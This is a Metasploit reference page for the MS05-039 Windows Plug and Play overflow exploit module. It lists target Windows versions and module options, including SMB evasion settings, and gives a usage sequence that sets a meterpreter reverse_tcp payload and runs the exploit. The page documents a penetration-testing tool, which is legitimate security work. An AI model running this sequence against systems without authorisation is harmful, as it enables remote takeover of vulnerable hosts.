Metasploit Penetration Testing Framework

modules / exploit / windows / smb / ms05_039_pnp
OSVDB: CVE:
BID: MSB:
TEXT:

Microsoft Plug and Play Service Overflow

This module exploits a stack buffer overflow in the Windows Plug and Play service. This vulnerability can be exploited on Windows 2000 without a valid user account. NOTE: Since the PnP service runs inside the service.exe process, a failed exploit attempt will cause the system to automatically reboot.

Rank

  • Good

Authors

  • hdm < hdm [at] metasploit.com >
  • cazz < bmc [at] shmoo.com >

References

Exploit Targets

  • 0 - Windows 2000 SP0-SP4 (default)
  • 1 - Windows 2000 SP4 French
  • 2 - Windows 2000 SP4 Spanish
  • 3 - Windows 2000 SP4 English/French/German/Dutch
  • 4 - Windows 2000 SP0-SP4 German
  • 5 - Windows 2000 SP0-SP4 Italian
  • 6 - Windows XP SP1 English
  • 7 - Windows XP SP2 English (Requires Admin)
  • 8 - Windows Server 2003 SP0 English (Requires Admin)
  • 9 - Windows Server 2003 SP1 English (Requires Admin)

Development

Similar Modules

Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/smb/ms05_039_pnp
msf exploit(ms05_039_pnp) > show payloads
msf exploit(ms05_039_pnp) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms05_039_pnp) > set LHOST [MY IP ADDRESS]
msf exploit(ms05_039_pnp) > set RHOST [TARGET IP]
msf exploit(ms05_039_pnp) > exploit

Module Options

RHOST The target address
RPORT Set the SMB service port (default: 445)
SMBPIPE The pipe name to use (browser, srvsvc, wkssvc, ntsvcs) (default: browser)
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DCERPC::ReadTimeout The number of seconds to wait for DCERPC responses
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
Proxies Use a proxy chain
SMBDirect The target port is a raw SMB service (not NetBIOS)
SMBDomain The Windows domain to use for authentication
SMBName The NetBIOS hostname (required for port 139 connections)
SMBPass The password for the specified username
SMBUser The username to authenticate as
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
DCERPC::fake_bind_multi Use multi-context bind calls
DCERPC::fake_bind_multi_append Set the number of UUIDs to append the target
DCERPC::fake_bind_multi_prepend Set the number of UUIDs to prepend before the target
DCERPC::max_frag_size Set the DCERPC packet fragmentation size
DCERPC::smb_pipeio Use a different delivery method for accessing named pipes (accepted: rw, trans)
SMB::obscure_trans_pipe_level Obscure PIPE string in TransNamedPipe (level 0-3)
SMB::pad_data_level Place extra padding between headers and data (level 0-3)
SMB::pad_file_level Obscure path names used in open/create (level 0-3)
SMB::pipe_evasion Enable segmented read/writes for SMB Pipes
SMB::pipe_read_max_size Maximum buffer size for pipe reads
SMB::pipe_read_min_size Minimum buffer size for pipe reads
SMB::pipe_write_max_size Maximum buffer size for pipe writes
SMB::pipe_write_min_size Minimum buffer size for pipe writes
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)

Copyright © 2003-2010 Rapid7 LLC
Rapid7 Privacy Statement